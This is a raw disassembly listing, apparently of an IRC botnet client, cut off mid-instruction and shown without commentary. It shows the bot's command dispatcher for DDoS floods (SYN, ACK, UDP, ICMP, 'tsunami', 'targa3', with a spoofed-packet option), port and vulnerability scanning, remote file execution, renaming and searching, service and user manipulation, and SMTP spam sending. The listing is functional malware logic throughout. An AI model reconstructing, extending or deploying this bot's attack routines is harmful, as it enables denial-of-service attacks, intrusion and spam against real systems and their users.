mov dword_43E5A4[ecx], eax jz short loc_40600F loc_405FF9: ; CODE XREF: sub_401ACD+4540j cmp [ebp+var_BCC], ebx jnz loc_40828C push 32h nop call near ptr 2680000h jmp short loc_405FF9 ; --------------------------------------------------------------------------- loc_40600F: ; CODE XREF: sub_401ACD+452Aj nop call near ptr 2680ABEh push eax push offset dword_42B59C jmp loc_4049EC ; --------------------------------------------------------------------------- loc_406020: ; CODE XREF: sub_401ACD+43E5j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406270 cmp dword_4CB724, ebx jz short loc_40604F cmp dword_4CB74C, ebx jz short loc_40604F push offset unk_42B560 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_40604F: ; CODE XREF: sub_401ACD+456Ej ; sub_401ACD+4576j cmp [ebp+var_C], ebx jz loc_406CDF mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406074 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406074: ; CODE XREF: sub_401ACD+4597j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C1 cmp edi, ebx jz short loc_406095 push [ebp+arg_0] push 3 jmp loc_406127 ; --------------------------------------------------------------------------- loc_406095: ; CODE XREF: sub_401ACD+45BCj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895C add esp, 0Ch test eax, eax jz short loc_4060B7 push offset unk_42B534 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_4060B7: ; CODE XREF: sub_401ACD+45DEj push offset unk_42B514 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_4060C1: ; CODE XREF: sub_401ACD+45B8j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DB push [ebp+arg_0] push 4 jmp short loc_406127 ; --------------------------------------------------------------------------- loc_4060DB: ; CODE XREF: sub_401ACD+4605j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F5 push [ebp+arg_0] push 5 jmp short loc_406127 ; --------------------------------------------------------------------------- loc_4060F5: ; CODE XREF: sub_401ACD+461Fj push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610F push [ebp+arg_0] push 6 jmp short loc_406127 ; --------------------------------------------------------------------------- loc_40610F: ; CODE XREF: sub_401ACD+4639j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406139 push [ebp+arg_0] push 1 loc_406127: ; CODE XREF: sub_401ACD+45C3j ; sub_401ACD+460Cj ... call sub_4186C2 pop ecx pop ecx loc_40612E: ; CODE XREF: sub_401ACD+46A2j ; sub_401ACD+472Aj ... push eax push offset aS_1 ; "%s" jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_406139: ; CODE XREF: sub_401ACD+4653j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619E cmp edi, ebx jz short loc_406171 cmp [ebp+var_8FC], bl jz short loc_40615E push ebx push edi push 1 jmp short loc_406167 ; --------------------------------------------------------------------------- loc_40615E: ; CODE XREF: sub_401ACD+4689j push [ebp+esi+var_84] push edi push ebx loc_406167: ; CODE XREF: sub_401ACD+468Fj call sub_418A99 add esp, 0Ch jmp short loc_40612E ; --------------------------------------------------------------------------- loc_406171: ; CODE XREF: sub_401ACD+4681j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8F add esp, 10h test eax, eax jz short loc_406194 push offset unk_42B4CC jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_406194: ; CODE XREF: sub_401ACD+46BBj push offset unk_42B4AC jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_40619E: ; CODE XREF: sub_401ACD+467Dj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406229 cmp edi, ebx jz short loc_4061FC cmp [ebp+var_8FC], bl jz short loc_4061CF push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EF ; --------------------------------------------------------------------------- loc_4061CF: ; CODE XREF: sub_401ACD+46EEj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EB push esi push edi push ebx jmp short loc_4061EF ; --------------------------------------------------------------------------- loc_4061EB: ; CODE XREF: sub_401ACD+4717j push ebx push edi push 2 loc_4061EF: ; CODE XREF: sub_401ACD+4700j ; sub_401ACD+471Cj call sub_418DB0 add esp, 18h jmp loc_40612E ; --------------------------------------------------------------------------- loc_4061FC: ; CODE XREF: sub_401ACD+46E6j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192E0 add esp, 10h test eax, eax jz short loc_40621F push offset unk_42B48C jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_40621F: ; CODE XREF: sub_401ACD+4746j push offset unk_42B46C jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_406229: ; CODE XREF: sub_401ACD+46E2j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406266 cmp edi, ebx jz short loc_40625C push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419594 add esp, 10h jmp loc_40612E ; --------------------------------------------------------------------------- loc_40625C: ; CODE XREF: sub_401ACD+4771j push offset unk_42B440 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_406266: ; CODE XREF: sub_401ACD+476Dj push offset unk_42B424 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_406270: ; CODE XREF: sub_401ACD+4562j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFE push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFE push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D0A push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D0A loc_4062C4: ; CODE XREF: sub_401ACD+3CBEj ; sub_401ACD+3CEDj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CF0 push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CF0 push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAD push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAD push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C58 push [ebp+arg_8] push offset dword_42BBFC call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C58 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEB push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEB push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B87 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B87 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4B push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4B push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADC push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADC push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A56 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A56 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E6 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E6 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089C0 push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089C0 push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895C push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895C push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408887 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408887 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878C push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878C push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408688 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408688 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E9 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E9 push [ebp+arg_8] push offset aJpDe10 ; "jp]de10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408458 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408458 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C5 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C5 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B6 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B6 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823F push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823F push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408142 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408142 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40805A push [ebp+arg_8] push offset aC ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40805A push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F61 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F61 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F61 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D7 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F7 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset byte_4146CF push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4067C6 loc_4067B0: ; CODE XREF: sub_401ACD+4CF7j cmp [ebp+var_3070], ebx jnz loc_403DA1 push 32h nop call near ptr 2680000h jmp short loc_4067B0 ; --------------------------------------------------------------------------- loc_4067C6: ; CODE XREF: sub_401ACD+4CE1j nop call near ptr 2680ABEh push eax push offset unk_42B298 jmp loc_403D92 ; --------------------------------------------------------------------------- loc_4067D7: ; CODE XREF: sub_401ACD+4C37j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E79 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E79 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406904 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42B250 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F7 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset byte_413627 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4068F3 loc_4068DD: ; CODE XREF: sub_401ACD+4E24j cmp [ebp+var_3498], ebx jnz loc_407279 push 32h nop call near ptr 2680000h jmp short loc_4068DD ; --------------------------------------------------------------------------- loc_4068F3: ; CODE XREF: sub_401ACD+4E0Ej call near ptr 2680ABEh nop push eax push offset dword_42B214 jmp loc_40726A ; --------------------------------------------------------------------------- loc_406904: ; CODE XREF: sub_401ACD+4D49j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D91 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D91 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C53 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C53 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B56 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B56 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A63 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A63 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795E push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795E push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407866 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407866 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407760 push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407760 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407299 push [ebp+arg_8] push offset aAdv ; "adv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407299 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407150 push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407150 push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407150 push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407042 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407042 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F18 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F18 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F18 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6F push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6F push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D17 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42D124 ; " " push offset dword_42BBF8 push [ebp+esi+var_7C] call sub_417EEF push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CB5C4 lea eax, [ebp+var_47EC] push eax call dword_4CB6D8 push 6 push 1 push 2 mov edi, eax call dword_4CB6D4 push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CB654 mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CB5FC mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CB66C lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CB6A4 push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CB66C push esi call dword_4CB6EC call dword_4CB5AC lea eax, [ebp+var_4588] push eax push offset unk_42B0D4 loc_406CD0: ; CODE XREF: sub_401ACD+2E83j ; sub_401ACD+4667j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDC: ; CODE XREF: sub_401ACD+248Cj add esp, 0Ch loc_406CDF: ; CODE XREF: sub_401ACD+4585j ; sub_401ACD+6654j ... cmp [ebp+var_8], ebx jnz short loc_406D00 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_406D00: ; CODE XREF: sub_401ACD+29B3j ; sub_401ACD+2A06j ... mov esi, [ebp+arg_24] loc_406D03: ; CODE XREF: sub_401ACD+68F3j ; sub_401ACD+78E3j ... lea eax, [ebp+var_2C4] push eax call sub_4151AD pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D17: ; CODE XREF: sub_401ACD+50ADj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D41 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E9 loc_406D41: ; CODE XREF: sub_401ACD+525Bj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DC jmp loc_4040AB ; --------------------------------------------------------------------------- loc_406D6F: ; CODE XREF: sub_401ACD+507Fj ; sub_401ACD+5096j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD4 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD4 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD4 push offset unk_42B08C jmp loc_406F05 ; --------------------------------------------------------------------------- loc_406DD4: ; CODE XREF: sub_401ACD+52CDj ; sub_401ACD+52E4j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406F00 push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E71 mov eax, offset aNormal ; "Normal" loc_406E71: ; CODE XREF: sub_401ACD+539Dj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42B048 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F7 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset word_413E36 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_406EEF loc_406ED9: ; CODE XREF: sub_401ACD+5420j cmp [ebp+var_123C], ebx jnz loc_40828C push 32h nop call near ptr 2680000h jmp short loc_406ED9 ; --------------------------------------------------------------------------- loc_406EEF: ; CODE XREF: sub_401ACD+540Aj nop call near ptr 2680ABEh push eax push offset unk_42B010 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_406F00: ; CODE XREF: sub_401ACD+5318j push offset unk_42AFD8 loc_406F05: ; CODE XREF: sub_401ACD+2019j ; sub_401ACD+202Fj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828C ; --------------------------------------------------------------------------- loc_406F18: ; CODE XREF: sub_401ACD+503Aj ; sub_401ACD+5051j ... cmp dword_4CB744, ebx jnz loc_407027 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42AF90 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F7 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset byte_413285 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407016 loc_407000: ; CODE XREF: sub_401ACD+5547j cmp [ebp+var_FF0], ebx jnz loc_40828C push 32h nop call near ptr 2680000h jmp short loc_407000 ; --------------------------------------------------------------------------- loc_407016: ; CODE XREF: sub_401ACD+5531j call near ptr 2680ABEh nop push eax push offset unk_42AF58 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_407027: ; CODE XREF: sub_401ACD+5451j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408289 ; --------------------------------------------------------------------------- loc_407042: ; CODE XREF: sub_401ACD+500Cj ; sub_401ACD+5023j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42AF04 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713C loc_4070C5: ; CODE XREF: sub_401ACD+561Cj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A5 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070ED cmp eax, ebx jnz short loc_40710C inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C5 jmp short loc_407145 ; --------------------------------------------------------------------------- loc_4070ED: ; CODE XREF: sub_401ACD+560Dj push ebx push [ebp+var_4] push offset unk_42AECC loc_4070F6: ; CODE XREF: sub_401ACD+5681j push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h jmp loc_4072E9 ; --------------------------------------------------------------------------- loc_40710C: ; CODE XREF: sub_401ACD+5611j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42AE98 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 20h loc_40713C: ; CODE XREF: sub_401ACD+55F6j cmp [ebp+arg_1C], ebx jnz loc_4072E9 loc_407145: ; CODE XREF: sub_401ACD+561Ej push ebx push [ebp+var_4] push offset unk_42AE64 jmp short loc_4070F6 ; --------------------------------------------------------------------------- loc_407150: ; CODE XREF: sub_401ACD+4FC7j ; sub_401ACD+4FDEj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B5 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BB ; --------------------------------------------------------------------------- loc_4071B5: ; CODE XREF: sub_401ACD+56D7j mov [ebp+var_C70], ebx loc_4071BB: ; CODE XREF: sub_401ACD+56E6j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42AE1C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F7 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset byte_413411 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40725E loc_40724C: ; CODE XREF: sub_401ACD+578Fj cmp [ebp+var_C60], ebx jnz short loc_407279 push 32h nop call near ptr 2680000h jmp short loc_40724C ; --------------------------------------------------------------------------- loc_40725E: ; CODE XREF: sub_401ACD+577Dj nop call near ptr 